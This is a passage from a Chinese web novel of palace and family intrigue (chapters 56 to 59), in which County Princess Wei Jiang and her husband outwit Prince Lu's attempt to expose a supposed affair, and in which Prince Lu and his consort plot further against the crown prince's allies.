窦绍脸一瞬间就黑了。潞王心里乐开了花。这个张元恩可真没让他失望。
“窦大人,先去看看怎么回事吧?小王也可劝劝新宜县主。”
窦绍还在嘴硬,“殿下,不知道什么人胡说的,县主是个明事理的人,不可能行此等恶行。”
在场的人都想掏耳朵了。
没听清,窦大人能再说一边吗?明事理?新宜县主还能跟这个词挂钩。
其中以张元恩的表情最为夸张。
“大人,潘大人来了。”
来的这么快,窦绍起身,脸色有些差。
张元恩也觉得有点快了,他的人什么时候办事这么利索了。
潘仁美一见到窦绍就道:“窦大人,听说小女出了事,不知道情况如何了?”
窦绍:“潘大人多虑了,并无此事,潘家小姐是来我府上做客,怎么会出事,想必是有人传错了消息。”
潘仁美脸色有些白,担心女儿:“我想去见见我女儿。”窦绍推脱:“这……只怕不太好吧,那是后院。”潞王等的就是这个机会,他朝孟文白使了个眼色。“你不是想去看热闹。”孟文白朝张元恩挤眼。
张元恩恍然,上前一步嚷道:“这有什么不方便的,我们一大群人又不是潘大人独自前往,再说了不还有窦大人在吗?”
见窦绍拧眉,张元恩继续说道:“你要是还觉得不方便,那就把潘姑娘叫来也行,反正潘大人也只是想见她女儿,当然,潘小姐得真的没事。”
大家点头,低声议论,甚至有些人可能真出事了吧,不然窦大人不会如此。
潞王适时开口道:“窦大人,潘大人只是想见自己女儿,这应该不过分吧。”
“你何不把潘小姐请出来,就算她和县主有什么误会,大家说开了就是,何必打打杀杀的伤了和气。”
窦绍:“殿下说笑了,县主很是喜欢潘小姐的性子,那里来的什么打打杀杀的误会。”
潞王:“这要问窦大人了?”他意有所指。
“问他什么?”卫姜不知道什么时候出现在门外,好奇地看向他们。窦绍很不悦地看向她:“你怎么来了?”
卫姜瞥了他一眼,“我怎么不能来了,我听说你们这里热闹的很,过来瞧瞧不行吗?”
两人针尖对麦芒,潞王心里更加确定两人闹翻了。
“刚刚殿下说他怎么了?”卫姜笑着问潞王。
“这……”潞王装作有些为难,“县主还是问窦大人吧,毕竟是他和潘小姐之间的私事。”
众人竖起耳朵,八卦之魂熊熊燃烧,张元恩连扇子也不扇潞,他好像闻到了奸情的味道
他往前挤,占据了一个最佳瞧热闹的位置。
“难道窦大人和潘小姐有私情,县主这才一怒之下暴打潘小姐。”张元恩把扇子往手中重重一敲,觉得自己知道了真相。
“胡说八道。”潘仁美涨红了脸,怒骂张元恩,口水喷了他一脸,“没有证据的话也是乱说的。”
他转身对潞王道:“潞王殿下,事关小女名声,还请您慎言,她和窦大人素不相识,何来什么私事?“
卫姜冷了脸,语气咄咄逼人:“有什么证据吗?还是说殿下以为靠着三言两语就能离间我们夫妻,你觉得我会信吗?“
她眼底的讥讽让潞王有些激愤,好像他是跳梁小丑一样。
"县主不信又为什么要对付潘小姐呢?"
卫姜笑了:“我喜欢潘小姐,只是接她来做客,殿下是不是误会什么了?”潞王被她那中鄙夷的眼神刺激到了,一时冲动,竟忘了他只是来看热闹的。
"县主不是因为潘小姐送来窦大人一个香囊。"众人哗然,张元恩瞪大了眼。
孟文白皱眉,潞王是怎么回事,不是之前交代让他捅破这事,这么亲自下场了。
卫姜噗吡一声笑了:“殿下知道的可不少,是,我确实是因为香囊才请她来的,不过那香囊不是给窦大人的,那是潘小姐特意做给我的。”
“你说的是这个吧。”一枚香囊静静躺在卫姜手中。
潞王低头看向窦绍腰间,那里绑着一枚同色的荷包。
他抬头,眼中不可置信。
“殿下,你今日带这么多人来是来我家就是为了这个事情吗?”卫姜嗤笑一声“我今日还有有一句话潞王想听吗?”就如同她闯进潞王府哪天一样的语气。
潞王咬紧后槽牙,"听。"卫姜对他笑了一下,然后冷声道:“龌龊之人看什么事都是龌龊的。”"今日这句话舅舅没说过,你可以去御前告我。"
哇哦,张元恩惊讶的嘴巴都比不上了,他早知道县主跋扈,没想到这么嚣张,果然他还是太嫩了。
要说京城蛮横第一人,他差县主远矣。
众人如同别掐住脖子的小鸡,恨不能把头埋进胸口,一个个装死呼吸声都放轻了。潞王殿下这是被耍了吧,以为带他们来抓奸看热闹,如今他倒变成热闹了。
人家俩口子逗他玩呢!
潞王显然也明白了,他气的额头青筋猛跳,捏着拳上前一步,窦绍眼疾手快把卫姜往身后一藏。
潞王被气笑了,演的可真好。
"那县主可知道,窦大人每个七日就会去翠心楼和潘小姐私会,这难道也是我想龌蹉了?"
他手指着窦绍。
这么劲爆,众人捂住嘴巴,怕自己忍不住惊呼。
不等卫姜和窦绍说话,潘仁美已经急不可待的跳出来了,“潞王殿下,你可不能胡说,我女儿前几日才从舅家回来,这……很多人都能作证的。”
“不可能,你们潘家人订的包厢,你们潘家的马车,难道里面坐的不是你们家的人?”
潘仁美想到什么,表情有些奇怪:“殿下你怕是误会了吧,我们家是在翠心楼订了包房,不过去茶楼的是我老娘,她老人家最爱去那听人说书,每隔一段时间都会去,年年如此。”潘仁美的老母亲今年已经快六十岁了,总不能是她和窦绍私会吧。
“殿下对我的行踪倒是了如指掌,您未免太看得起我了。”潞王殿下的脸色很是精彩,一会青一会儿白。噗吡一声,张元恩笑出声,笑的眼角泪水出来了。他把扇子插进后领子,一只手插腰,另一只手擦掉了眼角的水渍。“哎,殿下说请我看戏,原来是您亲自上演啊,不错,挺好看的。”他算是看明白,潞王搬起石头砸自己脚。他给取个名字,就叫:戏耍潞王
“爹?”门外探出一个头。是潘英娘,她抱着小孩,不用猜都知道是县主和窦绍的小女儿。据说被打的快死的人就这么生龙活虎地出现了,谁的话可信,一目了然
……
哗啦!又是瓷器被摔碎的声音
书房被推开,潞王阴沉着脸,头也没抬:“滚出去。”葛月挥手让下人离开,她皱着眉头在杂乱不堪的地板上寻找下脚的地方。“殿下何必生气,不过是一时得失罢了。”
潞王被气笑了:“一时得失,本王像猴子一样被人戏耍,明日全京城都会笑话我。”“我就成了那个离间他们夫妻感情的小人,我是个龌蹉之人,见不得别人夫妻恩爱。”
葛月:“殿下也只是担忧县主被欺瞒罢了,一时误会了窦大人,说起来殿下也是全然一番好心,县主不领情便罢了,殿下是个宽厚的人,如何会计较这个?”潞王怒气一下子就被按住潞,他转头盯着葛月,神色渐渐平静。
"爱妃说的对,本王只是关心表姐,是他们误会我了。"
葛月清冷的脸上闪过讥诮:“殿下刚刚有句话说的不对,他们可不是什么恩爱的夫妻,殿下知道今日输在哪里?”
潞王等着她的话。
"殿下其实想法没错,只是你弄反了。县主没并没有你们想象中的那么痴恋窦绍。"
她亲口说过夫妻感情不睦,甚至连孩子都不肯留下的女人,会因为这种事失智疯狂?
倒是窦绍,这个男人疯起来才是最可怕的?
不管他用了什么手段让县主留下了孩子,可夫妻俩嫌隙已生,窦绍对新宜不可能没有心结,没有了全然的信任,才有可操作的空间。
“你是说……不会吧?“窦绍看起来可不想那么感情用事的人。
“现在说这个也没用,短时间里这条计策也用上不了。”天时地利人和,三样都没有。
潞王又一次在她眼里看到了野心勃勃,"王妃有什么高招?"
葛月看向他:“对付他们也不一定要从他们本人下手。”
削弱他们的助力,让他们后方乱起来,没有精力再捣乱不就好了吗,等潞王羽翼丰满,处置他们还不是一句话的事。
窦家卫家从来都不是铁板一块,要找点事还不是容易的很
"你不是一直对卫家不识时务颇为不满吗?"
“看来你已经有办法了。”他果然没有看错这个女人,心机城府样样不缺。
葛月笑了,“这件事殿下就交给我吧。”
不过眼前有一件事更重要,新宜县主太嚣张了,必须要找个人来压一压她。
自己这个潞王妃她不放在眼里,那就找一个真正的金枝玉叶。
“长公主的身子已经好的差不多了,殿下不如找个日子去探望一下。”
潞王拉过她的手,亲了一口,叹道:“你果然是我的贤内助,你我夫妻一心,何愁大业不成,你放心,你祖父的仇我一定会替你报。”
葛月垂下眼睑,眼里的幽光一闪而过,“多谢殿下。”
57、第57章...
一些日子不见小皇孙长开了很多,白白胖胖的颇有些重量压的卫姜手酸,见她吃力,太子妃笑着让人把孩子抱了下去。
“你怎么没把小卫儿带来,也好让湛儿有个伴。”
卫姜摇头:“不行啊,她太淘,自从会走路了就闲不住,闹腾的很。”
说到孩子太子妃眼里全是温情:“孩子们都淘,湛儿也闹腾,皇上都嫌弃他。”
嘴上说着嫌弃,神色带着矜持,眼神却满是自豪。
宫里宫外谁不知道皇上最疼这个小孙子。
皇孙除了眼睛像太子妃,其他模样都像足了太子,而太子肖似先皇后,皇上怎么会不喜欢,每日不见上皇孙一面都睡不着。
太子妃看向卫姜,心里有些遗憾,若儿子再加上这么一双眼睛,就更好了。
“听说前几日潞王去你们府上胡闹了?”太子妃说起正事。
卫姜知道请她来东宫定然是为了这事,也没有瞒着:“小事而已,潞王也没讨到好。”
可以说是让潞王闹了好大的笑话,起码好几日不敢出门吧。
全然一副不放在心上的态度,还有一股戏耍了皇子的的得意感,这让太子妃微微有些羨慕。
她虽然是太子妃,却不能像新宜县主这么无所顾忌的行事
皇上虽然一如既往地看重东宫,但从信王出事后,皇上也变了很多,就比如他对潞王的宽纵,加快了潞王一系势力在朝中的成长。
虽还未到威胁东宫的地步,可皇上的这种放任的态度给了朝臣其他意味。
不免有人揣测皇上是不是对太子不满了,心思活络的自然就有了别的想法。
太子也宽慰她没事,可他回东宫的时辰却越来越晚,处事手段也变得越老越强硬,太子妃知道,他处境定然是不太好。
科举泄题案后,太子的老师被迫致仕,东宫的势力受到一定打击,朝臣们看皇帝暖昧的态度,也不敢多和东宫走近,只有窦绍一直是站在太子这边。
潞王这次闹的那一出,看似是对窦绍发难,其真正的目的还是东宫。
“殿下心里觉得对不起窦大人和县主,连累你们了。”
窦绍受了委屈,东宫自然不能无动于衷,召卫姜进来慰问也以示太子夫妇对他们的看重。
“窦大人和县主的好,太子和我都记在心里,太子常提起小时候的事,说阿姜姐姐最是疼他,护着他,没想到长大了,还是要阿姜姐姐为他操心,太子心里愧疚的很。”
卫姜谦逊道:“这话让我惶恐,太子把我说的太好,我也没做什么,其实这事应该就是冲着我来的,太子妃不知道,我之前强闯潞王府,肯定是那个时候得罪他了,他报复我呢。”她可不敢承认潞王是冲着太子来的,这要是传出去,皇家兄弟閱墙的丑闻可就瞒不住潞,只能把锅往自己身上背。
不过无所谓,反正她名声就那样,也不差这一点。
乾清宫书房中,潞王低着头一声不吭,皇帝背着手面无表情地盯着他。
太子在旁边欲言又止,劝也不是不劝也不是。
“你说说,丢不丢人?朕都替你害臊!”
潞王掀起袍子跪下,一副不辩解你说什么是什么的表情。
皇帝气的狠了,气息都变粗了。
太子劝了一句:“父皇,你听听二弟怎么说?”
皇帝没好气道:“你让他说,我看能说出什么花来,他还委屈上了。”
潞王行了个大礼:“父皇说的对,儿臣无话可说,是儿臣办错了事,不过儿臣确实是一番好心,新宜县主是我的表姐,她刚离开京城,那窦绍和一女子当街私相授受,我一时气愤,又不想表姐继续受到窦绍的蛊惑与蒙骗,便想着拆穿他的真面目,儿臣思虑不周,却让自己闹出了笑话,父皇责骂是应该的。”他俯身行了大礼:“儿臣认错。”
皇帝脸色缓和了下来,口气也软了:“你说的是真的?”
潞王心中一喜,更加诚恳道:“句句都是儿臣的肺腑之言,但儿臣行事鲁莽,没有查清事情就贸然做出这些蠢事,还误会了窦大人,阿姜表姐生气也是应该的,儿臣庆幸是自己弄了个乌龙。”
“你啊……”皇帝指着他,怒气一下子就收了:“阿姜那性子,你弄出这么大的事情她没打你一顿我都意外了,好在是一场误会,你去给她赔个不是,我想她应该也不会跟你计较了。”
他顿了一下继续道:“你说你怎么想的,那窦绍被她拿捏的死死的,他敢弄这些花花肠子?你要多跟太子学学,稳重些,不然以后朕怎么敢把正事交给你去办。”
潞王胸口的那颗心都要跳出来了,“父皇放心,儿臣回去就去给表姐和窦大人赔罪。”
皇帝点头,看向太子:"太子觉得这样可好?"
太子笑道:“误会解释清楚了,我想县主和窦大人会原谅二弟的。”
皇帝微笑点头,:“听说阿姜进宫了,她要是来找朕告状,朕也不能不罚你,就罚你三个月俸禄给她做赔礼。”
潞王哪里还会在意这点子俸禄,自然满口答应。
他原以为会有一番敲打,可皇上竟然顺着他的话把事情定案了,这让潞王心跳的厉害。
他不信父皇不清楚他为什么对窦绍出手,会猜不到他的小心思,可皇上并没有提,甚至连言语的高敲打都没有。
而是就顺着这个台阶下了,这说明什么,潞王眼睛藏不住的光芒。
是不是说明父皇是支持他和太子争的。
就算不是支持,他也不反对。
这对潞王来说可谓天降大喜。
这么多年了,父皇这一次总算不是站在太子那边了,这是不是天意在对他做的暗示。
他偷偷用余光打量太子,脸上很平静,完全看不出什么想法。
出了大殿,潞王抬头望天,心中无比激荡。
“殿下,贵妃娘娘让你过去一趟。”贵妃宫中的小太监破坏了他的心情
潞王脸瞬间阴了下去,转头和太子告别,抬腿朝贵妃宫中去。
贵妃孟氏一脸冰霜,见潞王进来就是一声厉喝:“跪下。”
“你知道你在做什么吗?窦绍是太子的人,你对窦绍出手,你想干什么?”贵妃一连串的问题抛下来指他呵斥,也不顾儿子脸色难看到了极致。
消息传来的时候她简直不敢相信,她温润尔雅的儿子怎么会成了这样的人。
他什么时候起了这样的野心,还是有什么人鼓动了他。
“太子是嫡长子,皇上不可能动摇他的位置,这关系到国本,你懂吗?何况太子贤良,于公于私都没有失德的地方,你怎么能起了这样的狼子野心,龌龊心思…….
龌龊两个词戳到了潞王的神经,他抬头,一双血红的眼盯着贵妃:“母妃,你真的是我的母亲吗?连贤妃那样的人都尚且在为信王的前途铺路,你为我做了什么?”他一个个字道,“你只会叫我安分守己,认
命。”
"凭什么?就凭他比我大?我偏偏不认这个命,我比他差在哪里了?他懦弱无能,只会烂好心,我才智学识样样比他强,要不是这些年父皇一直维护,他这个太子能坐的安稳吗?"
贵妃一连退了好几步,身子被屏风挡住后路,她不可置信地看着陷入疯狂的儿子:“你……你什么时候起的心思,先皇后…….
“先皇后对你有大恩。”潞王大声截断了她的话,“我知道,这二十年来我耳朵都听出茧了。”
“母妃,对你有恩的皇后死了,她死了,她对你有恩,为什么要拖着我,把我的前途也压上,我凭什么就要对太子卑躬屈膝一辈子!”
贵妃觉得眼前的儿子很陌生,这真的是她细心培养了二十年的孩子?
见母亲对他满脸失望,潞王觉得胸口的火越来越旺,他站起身,俯身看着母亲,眼神里带着报复的快感:“知道每一次您重复念叨先皇后和太子大恩的时候,我心里都在想什么吗?”他靠近贵妃耳边,轻轻道:“我心里千百遍的想着怎么把太子拉下来。”
他带着轻视的语气:“你越是说他的好话,我心中越是不服,你每一次的念叨都在助长我的野心,母妃,我变成这个样子多亏了您。”贵妃瘫软在地,脸上血色失了干净。
"你让我安守君臣本分,让我以他马首是瞻,我偏不!"
贵妃手抖个不停,抬手就要打却被潞王偏过了。
“我去告诉皇上,废了你。”贵妃也不知道她是生气还是失望,眼泪怎么都忍不住。
潞王狠狠抓住她的右手,听了她的话早已失望的心还是感受到了一丝疼。
“我劝您最好不要,父皇早就对太子不满,他是支持我和太子相争的,这么多年来我终于等到和他公平较量的机会。”
贵妃摇头,浑身发抖:“你疯了,皇上怎么会这么做,他不会…….”
她想要阻止儿子错下去,脑子却是异常的清醒,她想到了很多事,“科举案的时候你就很奇怪,是不是也跟你有关。”
潞王没想到她忽然说这个,明显心虚了一下,被贵妃抓住了:“果然………是你…….
潞王一把拽过母亲,表情狠戾:“母亲,这事可关系到孟氏一族,你不顾儿子难道也真的不在乎孟家了?”
见贵妃被震慑到了,她还是有顾虑的,有顾虑就好,潞王松了手,“你的儿子有出息不好吗?为什么总是要阻止我呢?”
他站起身,慢悠悠地整理衣襟:“母妃好好想想吧,我比太子强多了,若我登上那个位置您不是更尊贵,您也不用暗暗羡慕先皇后了。”
潞王戳破了她心底隐藏最深的阴暗心思,贵妃已经心如刀割,话都说不出来了。
潞王抬起脚就走,贵妃半天才缓过气来,她捂住脸哭,想不通怎么会这样?
她一辈子小心谨慎,生怕他一不小心就被人带歪了,担心他会被卷入权力漩涡中,防备着娘家人的算计,小心应对皇帝的猜忌,可最后为什么还是这样?
她错了吗?先皇后在倾轧不断的后宫中给了他们母子庇护,难道她不应该感恩。
贵妃忍不住发笑,他的傻儿子啊,你是真傻,母亲怎么会不心疼你,让你做个富贵贤王,让你以太子马首是瞻就是给你铺路啊。
皇上怎么可能让你和太子争,那是他的心肝啊!他是把你当成磨刀石了,我的傻儿子!
贵妃怒极,一口鲜血喷了出来,整个人昏迷过去。
因为潞王吩咐不让人打搅,一直到晚膳时宫人进去查看,这才发现倒在地上的贵妃。
……
卫姜回到府里,潞王府送来的赔礼已经摆满了花厅。
她已经见过皇上,也明白皇上大事化小的意思,反正她也没什么损失,自然就大方表示算了算了。
如此懂事让皇帝很是高兴,大手一挥,卫姜又发了一笔横财。
“这些送去潘家吧,对了,把那本书也带上。”那是她从宫里弄来的,关于制香方面的书籍,想必潘英娘应该很喜欢。
既然答应了及笄礼会给她送份大礼,自然是要用心准备了。
今日窦绍比她回来的还早,早早带着女儿在园子玩了一会儿。"酿……浪…….小卫儿深一脚浅一脚地朝她扑来。卫姜把她搂了满怀,小卫儿还嘴里不停叫唤着。“她说十么呢?”女儿的婴语她实在是有些不懂,求助看向窦绍。
窦绍有些嫉妒:“叫你娘呢?”
卫姜惊喜,“真的?”她转过小卫儿的脸,逗她:“再叫一次,叫娘,我听听。”
小卫儿吡了两颗小米粒,“酿……”
卫姜把女儿递给窦绍,夸张地捂住胸口,往后一倒,一脸幸福。“你这是不是太夸张了些。”窦绍被她逗的哭笑不得。
卫姜斜了他一眼,“你不懂,我这是幸福死了。”“再叫一声。”她转头去逗女儿,小卫儿乐呵呵又叫了一声。窦绍眼红,也趁机逗她:"乖女儿,叫爹。"小卫儿眼神都没给一个,啊了一声又和娘玩去了。“可真偏心。”窦绍轻轻拍了下她的屁股,是谁每日抱着她四处飞飞的。“这可是我的贴心小棉袄。”卫姜把女儿抢了过来,狠狠地亲上几口。“对了,长公主府送来了帖子。”窦绍想起一事。
卫姜有些愣,接过一看,果然是南康长公主的帖子,三日后请她赴桃花宴。
“她病好了?”卫姜低声喃喃道。
这也是原书里有的人物,后期戏份还比较重,作为女主最强辅助,主要就是用来对付原主。当今皇帝还活着的妹妹也只有这么一个了,她一直身子不好,这么些年很少在外走动。要说宫外能在身份上压过卫姜的也只有她,不用猜,定然是葛月提前把她的病治好了。书中亦是如此,只不过还要晚一段时间罢来。这位长公主可不好对付啊,卫姜有些发愁。“桃花宴,只怕是宴无好宴?”
卫姜把帖子扔在一边,窦绍看了一眼,随口道:“那就不去。”
“去,怎么不去,当然要去。”她要是不去,那戏还怎么演下去呢,没有桃花宴还有杏花宴。
总之长公主要见她,总能找到明目,她要是一再拒绝,传到皇帝耳朵里还以为她真的多么目无尊长。
卫姜也摸不准这位妹妹在皇帝心中的地位,原书里,皇帝可是挺怜惜她的。
不过在去长公主府之前,她还得先去一个地方。
58、第58章...
苏府
苏家和窦家、卫家都是亲连着亲,严氏如今病成这个样子,卫姜不来探望一下也说不过去。
帖子是前一日送来的,不想第二日苏青和葛月也都回来了。
“大夫人身子恢复的如何了?”卫姜开始探病的客套询问流程
苏老夫人摇头,严氏是彻底病糊涂了,之前受过惊吓本就心神不稳,不想又被严大夫人的死刺激到了,如今连人都不认识。
她有些唏嘘,严氏做下丑事,败坏了苏家的门风,又让大儿子心性大变,她是恨毒了这个儿媳,可看到严氏如今这个鬼样子,她又有些可怜她。
严家如今也乱了套,当家大夫人死了,流言越演越烈,说什么的都有,他们如今自顾不暇,严氏疯了还是傻了他们也不管。
看在她把苏青养的很好的份上,苏老夫人也没让人糟践了她,也算很对得起她了。
“只能慢慢养着了。”苏老夫人语气很平淡,并没有什么担忧之色。
卫姜自然知道原因,顺势也就止了话题,说起了其他。
“你这也快生了吧?你这身子这么重还是别四处走动了。”卫姜看苏青肚子大的有些吓人。
苏老夫人赞同这话:“我也是这么说的,她母亲的病也就这样了,大夫都说了,只能静养着,家里你就别担心了,我这把老骨头还撑得住,倒是你,肚子这么大就别让我悬心了。”苏青应了下来:“我知道了祖母,明日开始我就不出门了,再说了,大夫也让我常走动走动,卫家离我们家也不远,没事的。”
苏老夫人笑话她:“什么卫家,那是你家。”
苏青羞赧,摸着肚子不语,一屋子其乐融融,坐在一旁的葛月冷眼旁观。
卫姜问苏青:“卫贺有没有说什么时候回来?”
这老婆都快生了,做丈夫的还不回来就有些不懂事了,宋氏应该也送了信去辽东吧。
苏青却摇头:“我让他别回来。”辽东最近局势有些紧张,卫贺刚到那边才混熟,哪里走得开。
“舅母说是下个月回来看我,说不定能赶上我生,我有这么多人陪着,他来了也帮不上忙,我让他别跑这一趟了,等他有时间再回来多陪陪我们母子好了。”苏青说这话也是在解释她并不是闹脾气,也没有对丈夫有什么不满,只是单纯觉得不用跑这一趟。
……
“是毛夫人?她不是回辽东了?”卫姜有些惊讶。
苏老夫人道:“毛夫人喜欢她,把她当自己孩子疼,我这老了也不顶用了,她过来帮忙我倒是也放心些。”
“也是阿青招人疼。”
苏老夫人拍着孙女的手,一脸的骄傲:“不是自夸,我的孙女是一等一的好。”
苏青脸上有些不自在,“祖母哪有您这样夸人的,外人听了要笑话的。”
老夫人乐呵呵:“好在这里没有外人。”
这温馨的场面让葛月觉得份外的刺眼。
她忽然叹了口气:“可惜三妹妹不在。”
气氛忽然凝滞了,在场的人都清楚为什么苏妍不在,老夫人脸上有些尴尬。
葛月又继续道:
“祖母,如今母亲病了理不了家事,我和姐姐又都出嫁帮不上什么忙,家中就嫂嫂一人操持也太辛苦了,不如让三妹妹回来吧,想必她也知道错了,回来帮着嫂嫂做点事也好,何况她也大了,一直待在庵堂也不是个事。“葛月突然出声让大家有些意外的,往日这位潞王妃除了来看看严氏,对家里的事情都不关心,不过她的话确实让苏老夫人有些心动。
但……苏妍是因为做了错事才被罚的,窦明才是苦主,她不表态老夫人就是想把亲孙女叫回来,也开不了口。
窦明毕竟给苏家生了长孙,老夫人不能不顾忌她的想法。
卫姜表情冷了些,苏妍是害得窦明早产的元凶,虽然她的初心不是要害窦明,可她这人气量狭小,做事又蠢,这才送去不到半年就接回来,这样的惩罚她会真的知道错了?不过这是苏家的家事,卫姜一时不好插嘴。
众人都看向窦明,等着她的一句话。
窦明温柔一笑:“王妃说的对,我最近也确实感觉有些力不从心,三妹妹若是真的知错了,还是接她回来吧,王妃有句话说的对,三妹妹年纪大了,家里总要为她的前途考虑。”虽然苏妍做的蠢事外边的人并不知道,可她长久不出现,总会有风言风语传出去的。
苏老夫人感恩孙媳妇的通情达理,拍着她的手道:“你的好我都记在心里,你放心,祖母不会让你吃亏的。”
卫姜要反对,窦明轻轻摇头,这是不让卫姜掺和,怕苏家人记恨卫姜,觉得她以势压人。
迟早苏家都会接回苏妍的,不过是提前个半年而已,还可以卖个顺水人情。
何况,她总觉得潞王妃忽然提起苏妍有什么目的?
窦明记得,当初苏妍和她的关系可不怎么样,还经常挤兑她。
卫姜也觉得葛月有些奇怪,她把苏妍接回来有什么目的?
潞王对着府中账册有些头疼,银子怎么这么不经花,自从柳大福死后,他的手头一下子就紧了。
加上昨日刚给卫姜送了一大份价值不菲的赔礼,府上的账目就不太好看。
马上吏部会有大动作,他还要准备一笔钱来活动,潞王头更疼了,他俸禄被罚了三个月,又没了柳大福的财力,该怎么办呢?
他干脆不看了,把账册一合,闭上眼往后一靠:"账面上还有多少钱?"
刘进回道:“只有二十万两。”
二十万两他过日子足够了,可他还要打点朝中各处就远远不够。
皇子每年俸禄是死的,田庄上的出息也都有数,他短时间里要从哪里弄笔钱来,他揉着额头,忽然想起柳大福的好了。
这人做事是疯了点,可在钱财方面却从来没有让潞王烦过心。
柳大福出事太快了,他忙着掰清和他的关系,也就忘了收拢产业的事情,等想起来的时候,窦绍的户部早就已经把柳大福的产业查封了。
不管是明面上的还是私产,一个不落,也不知道盯上多久了。
“殿下这是怎么了?”
是葛月回来了。
潞王抬头看向她:"今日怎么回来的这么早?"
他知道卫姜今日会去苏家,让葛月也去苏家是他的意思,主要还是盯着卫姜。
“新宜县主有事先走了,我们也就散了。”
潞王看到她凝眉,以为她有了发现:“新宜县主说了什么?”
葛月摇头,“不是县主,是苏青……”
她问潞王:“你有没有觉得苏青身世有些古怪?”
之前她只顾着气愤,不满,没有细细深究过里面的怪异。
“你的意思是….”
“她的身世一定有蹊跷。”葛月回道:“老夫人和国公爷对她的疼爱远远超过了苏妍。”
这就很不对劲。
若她是因为身世得不到疼爱,那苏妍呢?这可是真正的苏家血脉,是老夫人的亲孙女。真的只是因为养了这么多年舍不得吗?那苏妍一样养在跟前,怎么就说送去庵堂就送去了。知道自己的真正身世后,葛月甚至怀疑过苏青会不会是国公爷在外面生的女儿,可还是不对。若是苏国公的私生女,大不了直接认了就是,这总比给她按个罪仆之子的身份强吧。他们为什么宁愿让苏青顶着这么个名声呢?
“而且还忽然跑出个舅舅舅母来,”边地参加,职位不高却有实权。这么说来,苏国公把卫贺送去辽东一定不是凑巧,他早就知道有这门亲,却一直没说,因为身为苏家大小姐的苏青用不着他们撑腰。可苏青嫁去了卫家,她需要一门娘家亲人来撑腰了。可真是父母爱子,为之计深远。葛月带着轻蔑的笑。潞王也来了兴趣:“你这样一说,确实古怪。”
……
这种情况只会是苏青的身世比罪奴之子还不堪,又或者她的身世还有不能让人知道的隐情,他们想要遮掩什么呢?
“要不?我派人去查查。”
其实最简单办法是问严氏,可她不是被葛月照顾的疯了吗?
葛月摇头,露出一个微笑:“有个人会帮我去查。”
这件事也只能从苏家内部查。
卫姜端着茶杯等着窦氏说正事,“你到底要说什么?”
窦氏等了她一个多时辰不可能就是为了和她闲聊。
窦氏脸色有些讪讪:“嫂嫂,我这点小心思还是瞒不过你,我这次确实有件事要求您。”
她试探问道:“嫂嫂,长公主桃花宴的帖子你收到了吧。”
卫姜有些意外她是为这个来的,“赵家应该也收到帖子了吧。”
窦氏表情有些不屑,“可是我们英娘若是跟着赵家的人一起去,岂不是泯然众人。
赵家早就是个空架子了,虽然大家会看在祖上的交情上给赵家下帖子,可她们不过是凑数去的。
窦氏早就听说了,长公主这次举办的桃花宴遍邀京都达官显贵,贵族世家,被邀请去参加宴会的公子小姐哪个不是家世显赫。
要是她家慧娘能从中挑的一个良婿,那她这辈子也就圆满了。
“这又不是相亲宴。”卫姜觉得不靠谱。
窦氏反驳:“怎么不是,我听说长公主办这个宴会就是为她次子幼女挑选亲事的。”
卫姜:“你是看上长公主的儿子了?”
窦氏有些尴尬地笑:“这不也是个机会,万一我们家慧娘入了长公主的眼呢。”
卫姜笑了,对她道:“那更不应该让她跟着我了?”
窦氏不明白。
卫姜低声对她道:“长公主不喜欢我,万一她迁怒慧娘怎么办?”
“这不可能,长公主多温和贤淑的一个人,怎么会……….
卫姜板着脸,似笑非笑地看着她:“你不知道我最不喜欢贤淑的人吗?”想到她的妹妹怡宁县主,还有严夫人,好像她还真是和这些人处不好。窦氏头皮有些发麻,所以不是长公主不喜欢她,是她不喜欢人家吧。
“县主怎么说也是慧娘的舅母,娘家是亲侄女,这也是亲外甥女,你也不能厚此薄彼吧。”窦氏越说气势越弱,说到最后头都不敢抬了,有些耍无赖了。卫姜想了半天才明白她说的是什么意思,这是说苏巧珍的婚事,当初她是帮过忙的。
“行吧,我也挺喜欢慧娘的,你让她跟着我也行,不过……”不等窦氏高兴完,她竖起一根白皙指头,把丑话放在前面:“要是嫁不了长公主的儿子,可不许怪我。”“那怎么会?”见她松口,窦氏差点激动地去拉她的手了:“我是那么不识好歹的人嘛?”
正在这时,长佩进来说窦绍回来了,窦氏一听整个人跳了起来。
“那我……我先回去了,明日我亲自送慧娘过来。嫂嫂,我们说好了的。”说完就急匆匆地往外走。
窦绍和她擦肩而过,她飞快地行了个礼就跑了,全然忘了贵夫人的仪态。
“她这是怎么了?”窦绍皱着眉头,觉得窦氏有些失礼
卫姜瞥了他一眼:“你上次是不是把她吓到了。”不然怎么听到他回来就跟老鼠见到猫一样。
“那说明她长记性了。”窦绍换了身衣服,在她旁边坐下:“她找你没说什么过分的事情吧。”
卫姜:“没有。”窦氏也只是想给给女儿钻营一桩好姻缘,也不是什么过分的事情。想到外甥女慧娘的婚事,窦绍也叹气:“都是被她那俩不靠谱的父母拖累的。”他那个妹夫万事不管由着窦氏折腾。太高的门第看不上赵家,低了的窦氏又看不上,也不知道怎么想的,想到明日就是长公主的花宴,他还有什么不明白的,“她可真敢想。”,心比天高。
“想想怎么了?想想犯法啊!”卫姜听不得他这样说,难道什么人和什么人配都是规定好的吗?
长公主的儿子就是天潢贵胄,别人瞧一眼都是肖想了他是什么高贵的天鹅肉吗?她撞开了他的肩膀,气鼓鼓地瞪了他一眼,走开了。当初他是不是也这样想的?卫姜心中忽地起了一团郁气,生的莫名其乱,久久不能平息。窦绍摸不着头脑,什么话又让她生气了,他也没说什么………吧?
长公主已经有快十年没开宴了,不知道多少人盼着明日,睡觉前,那些夫人小姐们把要穿的衣裳都备好了,就等着明日到来。
一辆马车在侧门停下,苏妍被连夜接回了苏家。
明日就是长公主的宴会,这个机会是她好不容易争取到的,她眼神带着一种势在必得。
苏妍郑重踏过门槛,重新迈进了家门,她激动的想哭,她在心里暗暗告诉自己,再也不会让自己落到任人宰割的地步了。
今日的苏妍已不是从前的苏妍了!
59、第59章...
“县主,这……会不会过于张扬了……”田彩带着点犹豫。
卫姜对着铜镜照了照,很是满意:“怎么会?赏花宴嘛,我不打扮好看点岂不是被花比下去了。”
长佩嘴角抽了抽,长公主最爱素色,她的花宴讲究清幽雅致,可县主偏偏把自己打扮的华贵明艳,像是去砸场子的。
卫姜才不管别人怎么看,首先她得把气势摆出来,就是要告诉别人自己不好惹。
虽不知道长公主会出什么招,但她不能虚,一定不能露怯!
迎合她的喜好,岂不是说自己是个软柿子。
如今和书中情况可大不一样,原主被褫夺县主爵,连宫门都进不去,她是虚张声势,依仗的是外祖母的往日威风,碰上真公主就破防了。
